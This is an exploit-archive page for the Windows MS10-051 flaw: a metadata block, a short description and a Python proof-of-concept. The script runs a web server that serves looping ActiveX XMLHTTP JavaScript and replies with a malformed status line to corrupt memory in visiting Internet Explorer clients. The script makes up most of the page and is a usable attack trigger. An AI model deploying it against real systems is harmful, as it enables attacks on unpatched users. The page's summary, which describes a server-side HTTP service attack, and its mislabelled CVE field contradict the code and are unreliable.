MS10-051

vendor:

Windows

by:

Skypher

9,3

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Windows

Affected Version From: Windows XP

Affected Version To: Windows Vista

Patch Exists: YES

Related CWE: CVE-2010-1885

CPE: o:microsoft:windows

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows, Linux, Mac

2010

MS10-051 is a buffer overflow vulnerability in the Windows HTTP service. It allows an attacker to execute arbitrary code on the target system by sending a specially crafted HTTP request. The vulnerability affects Windows XP, Windows Server 2003, and Windows Vista. The exploit code is written in Python and uses a socket to connect to the target system and send the malicious request.

Mitigation:

Microsoft has released a patch for this vulnerability.

Source

Exploit-DB raw data:

# Sources:
# http://skypher.com/index.php/2010/08/10/ms10-051/
# http://code.google.com/p/skylined/issues/detail?id=17
#
import os, re, socket;
webserver_port = 28876;

replies = {
  r'^/$': ('text/html', """
<SCRIPT>
  iCounter = 0
  function go() {
    var request_url = location.protocol + "//" + location.host + "/RandomHTTP?counter=" + (iCounter++);
    var xml_http_request = new ActiveXObject("Msxml2.XMLHTTP.3.0");
    xml_http_request.open("GET", request_url, false);
    xml_http_request.send();
    setTimeout(go, 1);
  }
  go();
</SCRIPT>
"""),
  r'^/RandomHTTP\?counter=\d+$': 'HTTP 4\n',
};

server_socket = socket.socket();
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1);
server_socket.bind(('', webserver_port));
server_socket.listen(1);
print 'Webserver running at http://localhost:%d/' % webserver_port;

while 1:
  client_socket,_ = server_socket.accept();
  try:
    request = client_socket.recv(1024);
  except socket.error, e:
    print '>> ??';
    continue;
  print '>> ' + request.split('\r\n')[0];
  path = None;
  if request[:4] == 'GET ':
    end_path = request.find(' ', 4);
    if end_path != -1:
      path = request[4:end_path];
  code, reason, mime_type, body = 404, 'Not found', 'text/plain', 'Not found';
  response = None;
  if path is not None:
    for path_regexp in replies.keys():
      if re.match(path_regexp, path):
        if type(replies[path_regexp]) == str:
          response = replies[path_regexp];
        elif type(replies[path_regexp]) == tuple:
          code, reason = 200, 'OK';
          mime_type, body = replies[path_regexp];
        else:
          code, reason, mime_type, body = replies[path_regexp](path);
        break;
  if response is None:
    response = '\r\n'.join([
      'HTTP/1.1 %03d %s' % (code, reason),
      'Content-Type: %s' % mime_type,
      'Date: Sat Aug 28 1976 09:15:00 GMT',
      'Expires: Sat Aug 28 1976 09:15:00 GMT',
      'Cache-Control: no-cache, must-revalidate',
      'Pragma: no-cache', 
      'Accept-Ranges: bytes',
      'Content-Length: %d' % len(body),
      '',
      body
    ]);
  print '<< %s (%d bytes %s)' % \
      (response.split('\r\n')[0], len(response), mime_type);
  try:
    client_socket.send(response);
  except socket.error, e:
    pass;
  client_socket.close();